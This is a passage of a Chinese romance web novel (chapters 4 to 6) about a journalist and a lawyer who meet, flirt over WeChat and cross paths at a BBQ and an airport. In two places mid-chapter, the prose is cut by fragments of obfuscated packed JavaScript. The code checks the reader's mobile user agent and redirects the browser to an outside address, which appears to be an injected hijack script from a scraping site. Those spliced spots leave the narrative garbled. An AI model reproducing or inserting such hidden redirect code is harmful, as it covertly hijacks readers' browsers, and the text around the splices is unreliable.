多坦荡的想法。 但她总觉得,原本正常的话,放在现在,是哪哪儿都不合适。 难道是,想掩盖自己的非分之想? 非分之想。 这四个字落在自己脑海中之后,艾嘉笙及时止住了自己纷飞的思绪。 算了,还是先不加了。 先睡觉,有事明天再说,反正祝鲸海的微信也不会跑。 结果,就在她正准备扣上手机的那一刻,一低眸,看到通讯录那一栏,出现了一个红色的数字1。 点开一看,是一个好友申请。 备注是七个字。 那么平常的七个字。 但不知为何,看到这七个字的那一瞬间,艾嘉笙脑海里像自带bgm一样,自动浮现出《神秘嘉宾》的歌词: “谁闯进我的领地, 谁让我措手不及, 我早就预备的剧情, 你却给我一笔, 狡猾地,致命地,正中我红心。” 明明只是七个字而已。 七个字。 没有设计,没有修辞。 系统字体,平铺直叙。 却正中她红心。 “你好,我是谈瀛洲。” 4. 我有嘉宾 [海客谈瀛洲,烟涛微茫信难求。] 这是李白《梦游天姥吟留别》的首句。 和歌曲的首句一样,诗词的首句也是诱饵,勾住你的眼睛和心魄,让你不由自主地深陷,诗人意境与心境的大气磅礴。 毫无疑问,这句诗是个太勾人的诱饵。 李白用这句诗拉开序幕,然后,用层层递进的抒发,既写美景的亦实亦虚,亦写姿态的不卑不屈。 艾嘉笙一边在心中默念了一遍这句诗,一边按下了通过。 手机上很快出现两个人好友添加成功的提示,艾嘉笙这才发现,两个人的微信名如出一辙,都是各自的姓。 至于微信头像,她是一枚月亮,他是一汪海洋。 她看着他的深蓝色海面,主动打了一个招呼:【你好,我是艾嘉笙。】 那边很快回:【我有嘉宾,鼓瑟吹笙?】 艾嘉笙看着他发来的话,笑着回:【可以这么解读。】 谈瀛洲思维很活络:【那意思就是还有另一种解读?】 艾:【嗯。】 发完,又在后面接了一句:【但现在不能告诉你。】 谈:【以后可以?】 艾:【有机会的话。】 谈:【怎么才能有机会?】 艾:【我想想,思考.jpg】 看到她发来的那个颜团子托腮思考的表情包,谈瀛洲笑了笑,在聊天界面输入她的全名:【艾嘉笙。】 艾:【嗯?】 谈:【你知道我是谁吗?】 艾:【我知道啊。】 把这句话发送过去,艾嘉笙觉得这人看着一脸聪明相,生活里怎么傻乎乎的。 刚才明明是他主动介绍的自己,这才过去多大会儿,就给忘了。 真是金鱼记忆。 不对,等等。 想到某处,艾嘉笙忽然神情一怔。 他问的,不是她知不知道他的名字。 而是问她,怎么知道这个名字,就是他这个人。 艾嘉笙也是在这个时候才意识到。 对啊,她是怎么确定谈瀛洲就是今天那个吉他手,明明他自我介绍的时候只是说了自己的名字,并没有任何附加信息。 但她就是知道。 这般洒脱大气、又诗情四溢的名字,只有他这样的人,才担当得起。 这份默契和笃定太难用三言两语说清,因为其中掺杂了一个最难定量的因素。 ——直觉。 于是,她含糊其辞地回:【我……猜的。】 发完,把疑问重新转移到他身上:【那你怎么知道我是谁?】 谈:【我跟酒吧老板是朋友。】 艾:【酒吧老板应该没有我的联系方式吧?】 谈:【嗯。】 谈:【所以——】 谈:【几经周折。】 艾嘉笙看到“几经周折”四个字,感觉自己的心脏微微颤栗。 原来,她在寻找他的时候,他也在寻找她。 一向能言善辩的她,在此刻罕见的词穷,默默打下一句:【辛苦了。】 谈:【不辛苦,结局很值得。】 艾:【所以,你不认识祝鲸海?】 谈:【祝鲸海是谁?】 艾:【今天的主唱。】 谈:【不认识,我跟他今天是第一次见面,说乐队差个吉他手,老板就让我上了。】 艾:【这样啊,但你们配合得很默契。】 谈:【整个乐队都挺默契。】 发完,他本来还想在后面添一句【尤其我和你】,但觉得这话有点太明显了,于是又删去。 艾:【嗯,毕竟都是一个学校的。】 谈:【那看来就我一个外来户。】 艾:【是神助攻。】 把这句话发送过去,艾嘉笙还想多聊几句,结果,屏幕上突然显示沈彬来电,她下意识就按下了接通。 作为经验丰富的业界前辈,沈彬一针见血地指出了她稿子里的一些细节问题,并且在此之外,又多指点了几句。 听完他的一番话,艾嘉笙对行文过程中一些不知如何下笔的地方,突然有了拨云见日之感,她认真记下沈彬的话,不知不觉,快十分钟过去。 她这才返回到和谈瀛洲的聊天界面,看到他十分钟前发过来的一条消息:【谬赞了,你的音乐很有感染力。】 艾:【不好意思,刚主编给我打电话,需要我改一份稿子。】 谈瀛洲看时间不早,没再耽误她的时间:【没事,趁着周末好好休息一下吧,有时间我们再聊。】 艾:【好,晚安。】 谈:【晚安。】 这晚蝉鸣轻,月色明。 两颗躁动的心,在同一个静谧的夜里,时寐时醒。 - 翌日,周末,艾嘉笙睡到了自然醒,然后,去健身房待了一个下午,晚上则一个人窝在家里看了一部电影。 很快,又是新的一周。 周一,艾嘉笙提前到达公司,正在准备开早会的资料,就听到主编叫了她一声:“艾嘉笙,来一趟我办公室。” 艾嘉笙停下手中的动作:“好。” 进了办公室,沈彬用眼神示意她坐:“跟你说件事。” “您说。” “杂志准备开一个专栏,《人物聚焦》,想让你来主笔,行吗?” “行。”没有丝毫犹豫。 看她这么爽快的答应,沈彬看着她,轻轻笑了声,丑话说在前头:“在你现有的工作之外,每周要出一篇深度采访稿,采访人物都是社会各界很有分量的人,所以完全要迁就大佬的时间,工作日,甚至是周末很可能要加班。” 艾嘉笙:“没问题。” “开始这几期,我先用自己的人脉给你搭个桥,”沈彬说着,把桌上那份网络上找不到的资料递给她,“这是第一期要接受采访的人物资料,JH律所创始人,我上次在开会的时候碰到他,跟他聊了这件事,正好,他这周要在自己家开BBQ,到时候我接你一起过去,正好在比较轻松的氛围下,先熟络熟络,等结束之后,让他匀出些时间采访。” 沈彬一说JH律所的创始人,艾嘉笙就对要采访的人物猜了个八.九不离十,与此同时,也知道了这个采访机会有多难得。 她双手接过资料:“好的,那我先去准备了。” 沈彬嗯了一声,抬头,看了眼她的着装,例行公事般地提醒:“到时候别穿这么正式,休闲一点。” 艾嘉笙了然于胸地点头:“知道。” 沈彬朝她挥挥手:“去吧。” 其实,沈彬对她爽快接下这份额外工作,一点都不意外。 这姑娘是努力,不怕辛苦,也勤于钻研。 但她从来都不是盲目努力。 之前,有两个同事找她帮忙,一个是让她帮忙去做一个采访,她二话不说就答应了。 还有一个是让她帮忙做一些机械的文书工作,她直接婉拒。 沈彬经过的时候,无意间听了一嘴。 然后,瞬间明白了—— 这姑娘太通透,只吃能让自己成长的“亏”。 - 很快,忙碌的一周过去。 周六,艾嘉笙把采访提纲在心里拟好,化了个淡妆,然后打开衣柜,开始找自己要穿的衣服。 那天,谈起着装,她自然知道沈彬的良苦用心。 毕竟,这次的采访环境跟之前不太一样。 人家在那儿轻轻松松地办BBQ,你穿一身正装到那里,不纯纯煞风景么。 但是吧,她也不能穿得太随意,毕竟她还是去工作的。 思来想去,她选了一套背带裤套装,真丝的白色衬衫,领口处有一个小巧的白色蝴蝶结,看起来不会太正式,再搭配一条黑色的西装背带裤,这样一身,随意休闲,却又没那么随便。 收拾好之后,她就下了楼,准备去小区门口等。 结果,刚下楼,就看到沈彬发来的消息,说路上有些堵车,估计得晚,让她先别出来,等快到了给她发消息。 艾嘉笙就是在这个空档,接到了自己小姨的电话,让她劝劝自己的闺女。 艾嘉笙问发生了什么事,小姨大概说了下,结果,艾嘉笙一听,瞬间就气不打一处来,连楼也不上了,直接在门厅处就拨通了李双羽的电话。 其实,艾嘉笙一早就知道,她表妹李双羽交了个男朋友,她过年回家的时候,见过那个男生。 说实话,她对那个男生没什么好感,总觉得他不太可靠,从他待人接物的细节就能够看出来,并且,她还觉得,这男生有点大男子主义。 虽说她是李双羽的表姐,但归根结底,谈恋爱是人家的私事,冷暖自知,她只能把话点到,多说反倒弄巧成拙。 于是,她提醒了下,也就没再多管闲事。 直到刚才,艾嘉笙听到自己的小姨说,她表 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“读研两年而已,他两年时间都等不了,他上赶着干什么去?” “李双羽,你到底什么时候才能看清事实!他怕的,根本不是两年的分别,他怕的,是你变得比他好,你知道不知道?一个怕自己的女朋友比自己优秀所以不让你往更高处走的男人,你到底有什么可留恋的!” “我告诉你,在这件事上,你别犯傻,你敢拎不清,我到时候就拿着麻袋去你家,把你双手双脚绑了也得给你绑过来读研。” 李双羽:“绑架犯法。” 艾嘉笙:“呵。” “姐,你别管我了,那我从小就没有你聪明,我也没有什么太强的事业心,我怕我最后什么都没得到,所以,你让我再想想。” “你自己都说你没有那么聪明,那你还放弃好不容易考上的学校?你为此付出了多少努力,难道都忘了?我告诉你,你要是不来上学,你就把家教费给我还回来,我教雅思的时候,一对一,一个小时500,我给你打个五折,二百五。” 李双羽听了,没忍住笑了一声:“这怎么还骂人呢?” “我骂的就是你!” “你听我一句劝行不行,我跟你说,这个世界上没有任何一种便宜可以让你占一辈子,但一个好大学的便宜,就是能让你占一辈子。学历带给你的改变,可不仅仅是一纸证书,那是眼界,是胆量,是你面对往后余生的态度和目光!” 看那边沉默,艾嘉笙不知道她是听进去了还是无语,于是,心急之下,脱口而出一句: “我跟你说,男人可以不上,但大学必须把它给上了,知道不知道!” 该说的话都说完,艾嘉笙带着怨气挂了电话。 她双手紧紧攥着手机,正想长舒一口气,平复一下心情,结果,一低头,看到有个人影在她的眼皮子底下,越来越近,也越来越长。 艾嘉笙这才后知后觉地反应过来自己刚才说了什么,无语得恨不得找个地缝钻进去。 她刚搬过来这里没多久,想着应该也没什么人认识她,于是转过身,假装什么都没有发生一样,若无其事地看起了风景。 问题是,她无声地看起了风景,身后的那个人,也无声地停住了脚步。 艾嘉笙无语至极,正想着这人什么时候才能走的时候,一个熟悉的声音在身后响起:“好久不见。” “我有嘉宾,鼓瑟吹笙。” 他用和那晚如出一辙的嗓音,同她问候。 这次,没有了话筒的传递,他的声音听起来尤为温润清朗,如伶仃泉水流过,令人浑身舒畅。 艾嘉笙耳尖一颤,然后,在一个不可思议的想法中转过了身。 看到来人,她惊得睫毛连着扑闪了两下。 今天是个晴天,太阳明亮却没有那么刺眼。 他就这样,站在柔和的阳光里,弯唇对她笑。 依然是白色衬衫和黑色西裤,只不过都换成了休闲风格,并且,除此之外,他裤腰上还扎了一条黑色的双背带。 一身背带装,穿在他身上,休闲利落,再配上那张英俊到无可挑剔的脸,尤为斯文禁欲,让人想要更加放肆的探寻。 亦或是......解开。 这一刻,艾嘉笙看着他,很想推翻自己刚才信誓旦旦说出口的话: 有些男人要是不上。 好像有点可惜…… 5. 我有嘉宾 收! 光天化日朗朗乾坤! 艾嘉笙你赶紧把你脑子里那些黄色废料给我收住! 经过一番心理暗示之后,艾嘉笙重重眨了下眼,连带着,把自己心中这些无厘头的想法往下压了压。 她抬眸,看着眼前这个男人,得体又自然地问候道:“好久不见。” 说完,顿了下,在想该如何称呼他。 但她对他并不了解,也不知道他是做什么职业,只好在后面接了句:“谈先生。” 听到这个称呼,谈瀛洲笑了笑。 艾嘉笙看着他,按捺不住心间的好奇,问:“你怎么在这里?” 谈瀛洲眉眼微垂,眼底的笑意不自觉加深,看着她,嘴角扬起一个好看的弧度,温温柔柔地答:“来接你。” 不同于刚才的艾嘉笙,他一点都没停顿,很有把握地叫她:“艾记者。” 艾嘉笙听了更疑惑:“接我?” “嗯,”谈瀛洲解释道,“你小区西门那条路在修,所以才会堵车,我正好过来接你,也腾出空间让两位老师叙叙旧,一会儿我们从东门出去,正好和他们会面。” 艾嘉笙听着这番话,捋了下前后逻辑,在心里得出一个答案后,试探着问:“所以,你是JH律所的律师?” 谈瀛洲“嗯”了一声,嗓音含笑地问:“怎么,不像?” 艾嘉笙轻轻摇头:“没有,就是觉得太巧了。” “我也觉得挺巧,刚在车上听到沈主编说你的名字,我还以为自己听错了,后来一想,觉得你这名字重名率应该挺低,于是问了下沈主编,果然是你。” 艾嘉笙听着他的解释,低低“哦”了一声。 谈瀛洲怕她多想:“想给你个惊喜,所以沈主编才让我看了你给他发送的位置,你放心,我对你住址的了解,合理合法,且仅限于此。” 艾嘉笙:“我没有这个意思。” 说完,看着他这身打扮,总觉得莫名熟悉。 低头一看自己的,瞬间明白了。 这......这也太巧了吧。 谈瀛洲注意到她目光的落脚点,沉沉笑了声:“那我们走吧。” “等一下!”艾嘉笙叫住他。 “怎么了?” “堵车应该还得一会儿才能到,我要不上去换身衣服吧。” 谈瀛洲看着她,问:“这一身穿着不舒服?” 艾嘉笙也没拐弯抹角,直接说出心中顾虑:“我跟你穿得这么像,会不会不太合适?” “这有什么不合适的,”谈瀛洲笑着说,“放心,没人吃你的醋。” 艾嘉笙:“……” 看她愣神,谈瀛洲假装看了眼手机:“成律给我发消息说到了,我们走吧。” 再怎么样,也不能让前辈等,于是,艾嘉笙立刻打消了上去换衣服的念头,应了声“好”。 两个人这才并肩往小区外走去。 今早有风。 艾嘉笙走在他身侧,轻而易举便闻到一股似有若无的香味,她品了品,觉得应该是雪松。 巍巍高山,雪松独立,集日月之光华,才能凝练出这一份清冷的木质香。 清冽干净,又丰富成谜。 ——像他。 这会儿小区来来往往的人不少,这样一对俊男靓女走在路上,尤其是还穿着情侣装,不免引得人频频打量。 艾嘉笙这会儿倒没一点害羞,因为她对自己的定位根本不是剧中人,而是旁观者。 她还没自恋到,碰巧跟人家穿了一件相似的衣服,就想入非非两个人之间必须有什么关系。 但她的定力也没好到,看到这样一个精准踩在自己xp上的男人,还能无动于衷。 眼前这个男人,用实际行动证明了,背带裤跟“装嫩”这个词没有任何关系。 黑色西裤扎住他精瘦腰身,腰身上的金属搭扣在阳光的照耀下泛着盈润光泽,沿着搭扣往上延伸的,是搭在白衬衫外的、浅纹路的黑色皮质背带。 黑白对比强烈,金属冲击视觉,皮质纹路则是力量感与精致感的双重体现。 这一身,穿在他身上,没有嫩,只有欲。 他走在阳光下,背部清瘦有力,身材颀长高挺。 然后,她就这样,以不逾矩的距离,打量了他一路。 后来的很多个早晨,艾嘉笙都会想起这个时分。 他行走于寻常烟火。 与他同行的时刻,却像是在朗读深邃诗歌。 这天的风吹呀吹。 把两个人的心都吹乱。 ——也吹暖。 - 这边的画风浓情蜜意,另一边的画风则是大相径庭。 马路边,沈彬和成弘,两个已经过了知命之年且都事业有成的大男人,却跟两个小孩儿一样,在路边开始了激情battle。 要说这两个人的缘分,那可是要追溯至几十年前。 那时他们刚上大学,沈彬在复旦读新闻,成弘则在复旦读法律,后来,大学毕业,沈彬北上,来到北京读研,然后在媒体圈一待就是二十年,至于成弘,则跨越汪洋赴美留学,白手起家,创办JH律所。 两人在大学的时候都是辩论社的成员,说来也是巧,两个人每次都是正反方,没有一次是同个阵营的,所以,那个时候,两个人就没少较劲。 没想到二十多年过去了,两个人还是较劲。 谈瀛洲和艾嘉笙到的时候,这两个人较劲的内容已经从专业选择、人生价值、国际时政、幸福的定义、优秀的标准、转移到了各自培养的人身上。 沈彬:“本科金融和国关双学位,研究生跨学国际传播,三强联合。” 成弘:“国际顶尖法学院毕业,精益求精。” 沈彬:“悟性极高,我稍一点拨,就能独当一面。” 成弘:“不用我点拨,自学成才。” 谈瀛洲&艾嘉笙:“…………” 我俩倒也,没有那么优秀。 沈彬听了,看着成弘,不屑一笑:“你可拉倒吧,人家自学成才,跟你有屁关系。” 说完,一转身,才发现两个人说的本尊,不知道何时站在了自己身边。 沈彬:“……” 轻咳两声,看着艾嘉笙,定了定神,说:“不能骄傲。” 成弘则看着谈瀛洲,学人精道:“戒骄戒躁。” 谈瀛洲&艾嘉笙:“…………” 我俩倒也,没有这些毛病。 不过,这份意料之外的撞破,倒是很好地拉近了距离。 去别墅的这一路,车内气氛好得很,艾嘉笙身为晚辈,在潜移默化中,已然收获颇多。 其实,在研究生毕业,即将步入社会的时候,艾嘉笙也曾经有过忐忑,对这个世界怀有很深的戒备。 包括现在,她依然有。 依然会有需要努力去克服的挫折,依然会有需要努力去调和的人际关系,依然不是事事如意。 她会失望、会抱怨、会想要放弃。 但总有更优秀者,例如沈彬,例如成弘,像灯塔一样立于海面之上。 他们早已事业有成,见过大世面,胸怀大世界,但对待后辈,只有耐心点拨,没有居高临下。 这样的人,真的会让奋力前行的年轻人,看到希望。 - 很快,四人到达了别墅区。 停好车,成弘就拉着沈彬上了二楼,两个人喝茶叙旧去了。 JH律所的同事早就到了,正在后院一边玩着,一边准备烧烤的食材。 谈瀛洲和艾嘉笙进了玄关,正准备放下礼物就去加入他们,结果,还没走两步,就听到屋内有人叫了一声:“瀛洲来了啊。” 闻言,两个人一同抬眸,盘旋而上的楼梯上,走下来一个穿着一身改良版旗袍的女人。 一件淡青色旗袍穿在她身,长发被她优雅地盘在耳后,笑容温柔,气质美到出尘。 真真的印证了那句话:岁月从不败美人。 艾嘉笙一眼就认出,眼前这位女士就是成弘律师的夫人,柳沁。 柳沁是一位在国际舞台上都享有盛誉的服装设计师,艾嘉笙久仰大名。 柳沁笑着走到两人面前,身为设计师,她自然对人的着装很是敏感,因此,看着两人这如出一辙的打扮,忍不住调侃:“哟,你小子,仗着老成喜欢你,回回都享受特权。” 说着,先是看了眼艾嘉笙,然后又看了眼谈瀛洲,目光含着笑意,打趣道:“我可没听说,今天还能带家属。” 闻言,谈瀛洲也愣了一瞬,沉默片刻才说:“您别开玩笑了,我哪有这福气。” “给您介绍一下,”谈瀛洲主动和柳沁介绍起身边人来,“这位是《财经周刊》的记者,艾嘉笙。” “哦,我想起来了!昨天老成跟我说了,你瞧我这记性,”说着说着,柳沁有些童趣地拍了拍自己的脑袋,侧身邀请两个人进来,“艾记者,快进来快进来。” “柳老师好,您叫我嘉笙就行,”艾嘉笙借花献佛,将沈彬早已准备好的礼物递过去,“一点心意,不成敬意。” “太客气了,快坐快坐。” 柳沁大多数时间都住在深圳,也是最近才过来北京小住,因此也好久都没见谈瀛洲了,于是,就让阿姨泡了一壶茶,然后三个人就在沙发上聊了聊。 就是吧,聊天的时候,柳沁的目光总是不由自主地往对面两个年轻人身上落。 上上下下打量了不知道多少遍,最终实在是忍不住,来了句:“真适合。” 艾嘉笙:“???” 什么真合适? “……” 谈瀛洲则是无语至极,向柳沁传递过去一个“您别吓着人家姑娘”的眼神。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230447|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳沁这样心思敏感的艺术家,瞬间心领神会,不着痕迹地解释:“是这样,我们工作室最近新出了一组旗袍,不知道嘉笙有没有时间,过来帮我拍几组照片,我看你的气质,跟这个主题很搭。” 艾嘉笙没想到这个“真合适”合适得这么吓人,一听这样大的跨界,连忙摆手婉拒:“柳老师,您太看得起我了,这机会是对我来说是很珍贵,但我只怕砸了您的招牌,我没有这金刚钻,就不揽这瓷器活了。” “这次主题比较特别,我们就是不想找专业模特,所以你不必因为自己没有做过而有压力,”可能是深受家夫影响,柳沁这人谈判起来也是润物细无声,“你不来,那就是不相信我的眼光。” 听到她把话说到这个份上,艾嘉笙觉得再拒绝倒显得自己不懂事了,于是,也没再扭捏,她性格向来利落:“如果您觉得合适,那我就试试。” 柳沁就喜欢这样爽快的人:“行,那就暂定下周末,具体看你的时间,至于报酬,我们按照市场价来。” “我不要报酬,我——”艾嘉笙抬眸看着眼前人,坦坦荡荡地说出自己的欲望, “能跟您要一个采访机会吗?” - 时间不知不觉接近中午,艾嘉笙在屋里坐着倒是无所谓,但谈瀛洲身为律所的人,总不能不出现在团建活动上,于是,看艾嘉笙和柳沁熟络之后,就起身去了后院。 律所的男同事们发挥绅士风度,自觉承担起烧烤任务,让女生们自由活动。 别墅侧边,栽了好几颗杏树,这会儿正是结果的时候,于是,几个女同事就来到树旁,想要摘几个杏子下来。 结果,不是不够高,就是穿的是裙子,不方便。 正当几个人正准备去后院搬救兵的时候,身后突然传来一道清亮的女声:“我来吧。” 闻言,几个人一同回头。 映入眼帘的,是一个身材高挑的美女,唇角挂着清浅笑意,正朝他们徐徐走来。 至于衣着,则是简单的白衬衫配黑色背带裤。 众人看着这身打扮,目光都愣了愣。 ——等等,这身衣服怎么好像刚刚才在哪里见过。 柳沁站在屋檐下,笑着跟年轻人介绍:“这位是艾嘉笙,《财经周刊》的记者,今天过来采访你们成律师的。” “大家好,”艾嘉笙挥着手走到树下,笑着说,“我来摘吧。” 艾嘉笙这人弹跳力本来就好,虽然没受过专业训练,但摘个杏子下来,还是不成问题的。 这不,才一会儿的功夫,水果篮里就装了不少,看戏观众见状,丝毫不吝啬自己的鼓掌,艾嘉笙也觉得莫名有种成就感。 但人,显然是不能太嘚瑟的。 一嘚瑟,就容易翻车。 这棵杏树栽在一条小溪旁,越靠近溪边,鹅卵石分布越密集,有些在水流的冲刷下,已经变得不稳。 艾嘉笙一不小心,就踩中了一个。 脚底一滑,眼看着就要跌落,但即使在这样千钧一发的时刻,她依然没有完全慌了阵脚,想着抓住哪个地方,可以让她摔的不那么狼狈。 可就在她快要倒下的时候,说时迟那时快地,一个有力的胳膊搂上了她的腰。 与此同时,一股熟悉的雪松香气,扑面而来。 感觉自己在被救,艾嘉笙自保机能瞬间启动,手掌本能开始用力,勾住了她能够勾住的救命稻草,来确保自己的重心。 终于,两个人稳稳在地面上站定。 站定之后,艾嘉笙抬眸,看着“救命恩人”近在咫尺的清俊眉眼,心跳瞬间变快,目光也变得飘忽不定起来。 怕他看出破绽,艾嘉笙不得已,选择了低头,避开他的目光。 结果,就是这一低头,让她想跳进水里的心都有了。 艾嘉笙:“!!!” 啊啊啊我的天呐我对我的救命恩人做了什么! 她刚才那一用力,直接把他左前方的那个背带裤的搭扣拽了下来。 谈瀛洲本来别在裤腰上的搭扣,此刻落在了她手中。 谈瀛洲也没想到会是这么个剧情发展,低头看了眼自己被她拽下来的搭扣,然后,目光重新回到她脸上,看着她,沉沉笑了声:“艾嘉笙,我今天早上就发现了。” 艾嘉笙听到他说的这个时间节点,唯恐自己当时的心思被拆穿,心跳快得不行:“发现什么?” 谈瀛洲眉目凑近,用只有两个人能听到的声音问她:“你早就看我这条背带不顺眼了吧?” 艾嘉笙:“???” 苍天啊! 她那哪是不顺眼啊! 她那是太顺眼了好嘛! “行,”谈瀛洲低笑一声,“那我就成人之美。” 艾嘉笙:“嗯?” “既然你看着这么不顺眼,那我就给你个机会——” “把它摘了。” 6. 我有嘉宾 一阵风拂过,把蓝天下的风铃吹得叮铃作响。 他们身处的这方天地,有树木青葱,有泉水叮咚,更有恰到好处的情深意浓。 上述元素堆叠在一起,成就一幕太过唯美太过偶像剧的场景。 而他们,毫无疑问,就是这幕场景的主人公。 他就这样,用熟悉的雪松香气再次将她席卷,艾嘉笙抬眸,看着他近在咫尺的俊颜,差点就要溺在他温柔似水的眼神里。 直到,一个想法瞬间击中她的脑海。 然后,她像忽然想起什么一样,目光越过他的肩头,极为警觉地看向了远方。 屋檐下没人,安全。 紧接着,又抬头,阳台上也没人,也安全。 两边都确认完之后,艾嘉笙瞬间在心里长舒一口气。 还好还好。 还好长辈们没有看到。 毕竟,在她看来,社死不可怕,在尊敬的人面前社死才可怕。 看出她在长辈面前脸皮薄,确定她站稳之后,谈瀛洲便自觉把手从她的腰上移开了。 然后,回过头,对着一群看好戏的女同事,用眼神示意她们先过去。 等她们走后,艾嘉笙低头,看着自己手里握着的那个搭扣,觉得自己松了也不是,拿着也不是。 只好问他:“这个怎么办?” 谈瀛洲微敛眉眼,看着她如小鹿一样乱撞的清眸,忽然想起过去种种。 这姑娘,打起架子鼓来妥妥一气场女王;工作起来逻辑缜密、提问专业;骂起人来则是条条有理,不带任何脏字,但就是能压人一头。 他曾经想过,这姑娘惊慌失措的时候会是什么样子。 今天就让他见识到了。 ——真是讨喜得很。 讨了他的欢喜,谈瀛洲自然就很难善罢甘休。 于是,看着她的手,得理不饶人地为难她:“要不把它给我扣上,要不把它给我摘了。” 艾嘉笙:“…………” 这两个不管选哪个,她好像都—— 挺占他便宜的。 但艾嘉笙这人向来正直,占别人便宜她会良心不安,于是直接道:“这不合适。” 谈瀛洲听了,沉沉一笑:“那我这样衣衫不整就合适了?” 艾嘉笙看着他,很认真地说:“你可以自己整理一下。” 谈瀛洲得理不饶人:“你给我弄掉的,凭什么让我自己整理?” 艾嘉笙:“……” 这人几岁? 看她无语,“谈五岁”逗人逗到即止:“行了,不欺负你了。” 说完,朝她伸出手,说:“给我吧。” 艾嘉笙把手中的背带夹递给他。 谈瀛洲接过,正要自行整理一下着装,然后,像忽然想起了什么,停住手中的动作,叫了她一声:“艾嘉笙。” 艾嘉笙:“嗯?” 谈瀛洲看着她,半认真半调侃地问:“你想让我摘掉,还是想让我穿好?” 艾嘉笙看了眼他的衣服,思考片刻,抿着红唇,答了句:“穿好。” ——她想跟他穿一样的。 谈瀛洲显然对这个答案很满意,笑得眼底都能开桃花:“行,听你的。” 说完,动作利落地整理好了自己的衣装。 两个人这才并肩往后院走。 艾嘉笙走在他身边,想起他刚才得理不饶人的幼稚样子,没忍住叫了他一声:“谈瀛洲。” 他侧眸看过去:“嗯?” 艾嘉笙微敛眉眼,嗓音含笑地评价:“你好傲娇。” 谈瀛洲听了,扬声问:“你说什么?” 他其实知道她说了什么,但他就是没想到这个词能跟他这个人联系在一起,于是想要一个答案。 但艾嘉笙这次没想讨他的喜,敷衍了句:“没事。” 然后,在他看不到的地方,抿唇偷笑。 - 经过这次,两个人好像又熟了那么一点。 眨眼间,新的一周来临。 北京是一座人才济济的城市,想要在这里找到属于自己的位置,没有人可以懈怠。 工作日,两个人都忙得不可开交,也就是晚上睡觉前会聊上几句。 某一天晚上,艾嘉笙结束一天的高压工作,不知为何,忽然很想见见他,本想问他周末有没有时间见一面,后来一想,这个周末她不在北京,于是也就作罢。 周五晚上,终于结束了一周的繁忙工作,艾嘉笙履行和柳沁的约定,飞往深圳。 这次过来也就待一两天,她就没带行李箱,只背了一个白色双肩包,里面装着自己必要的生活和工作用品。 因此,她就没必要耗时去转盘等行李,下了飞机,就直接往出口走了。 作为第一波从出口出来的人,别的旅客不是趁着人少赶紧去乘坐地铁等交通工具,就是赶紧去做出租车,或者赶紧去和来接他们的汇合。 只有艾嘉笙,从出口走出来之后,脚步下意识一顿。 想到即将穿过的宝安机场大厅,她不由得紧了紧拳头。 ——她的噩梦机场。 不过,也没办法,毕竟到都到了。 等会儿她跑快点儿,应该就不会那么难受了。 想到这儿,艾嘉笙抬头看了眼导视牌,找到柳沁司机发给她的出口,然后,一鼓作气,正准备往外跑。 结果,没能等跑出去,忽然,有个人拽住了她的胳膊。 紧接着,她就感觉一双温暖宽厚的手掌盖住了自己的双眼。 与此同时,耳边响起一声:“是我。” 他清沉疏离的声音响在嘈杂的机场里,让她刚才还不安的心瞬间平静了下来。 看她站定,谈瀛洲手掌用力,扶着她的肩让她转身。 很快,她映入眼帘的,不再是灯光四溢的大厅,而是他。 他们每次的见面都太过出其不意,所以,艾嘉笙看到他,一时没反应过来,扬声着问:“谈律师?” 谈瀛洲看着她,嗯了一声,笑着说:“我跟你做的一班飞机,就想看看你什么时候能发现我。” 说着,他语气带了丝浑然天成的幽怨,“结果一路都没发现啊。” 艾嘉笙没想到能这么巧,如实解释:“……我在工作,所以可能没有注意。” “行了,原谅你了。”谈瀛洲很大度地掀过了这一页,然后,看着她,直入主题地问,“你出站的时候,低着头走路会不会好一点?” 这话题转的太快,艾嘉笙一脸疑惑:“嗯?” 谈瀛洲:“你不是说,自己有密集恐惧症?” 听到这句话,艾嘉笙这才想起,上周他们一起BBQ的时候,对方律所有个和她年龄相当的律师,家是深圳的,艾嘉笙非常喜欢深圳这座城市,就跟他聊了两句。 她说自己每次来都会被这座城市蓬勃的朝气吸引。 只有一点,宝安机场的那个设计,对她这个密集恐惧症患者来说,简直是大型修罗场。 密集恐惧症就跟痛经一样,没有的人没办法感同身受,甚至会觉得这病是无病呻吟,但有的人就会知道那种感觉有多痛苦。 所以,这就是艾嘉笙为什么把深圳机场看成是噩梦机场的原因。 那一个个圆形灯光的密集型分布,对她来说简直就是酷刑。 所以,如果是因为私人原因过来玩,她宁可麻烦点,先买到广州或者是香港的机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230448|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 票,都不愿意直接飞深圳。 但这次,是柳沁的工作室直接给她买的机票,再加上时间比较紧,她就没好意思多说些什么。 想着大不了下了飞机,一溜小跑就是了。 毕竟,她也就是看的过程会难受,看完不想就还好。 如果她动作快点,很容易就克服过去了。 看她回忆了起来,谈瀛洲没再多说,直接问道:“你手机还有电吗?” “有,你要用吗?”他那么问,艾嘉笙自然以为他是要借手机,于是,毫不犹豫把自己的手机递给他,“喏。” 谈瀛洲看着,笑了下,却没接,说:“给手机充点电吧。” 艾嘉笙:“???” 什么? 充电? 这人为什么突然让她给手机充电? 谈瀛洲知道她心中疑惑,但没直接解答,而是递给她一根充电线,说:“听我的,把手机充上电。” 他身上有种气场,总能让人信服。 于是,艾嘉笙抬手,接过他递来的充电线,接在了自己手机的充电口,接好之后,看着他问:“然后呢?” 谈瀛洲把连接充电线另一头的充电宝握在自己手里,看着她说:“然后——” 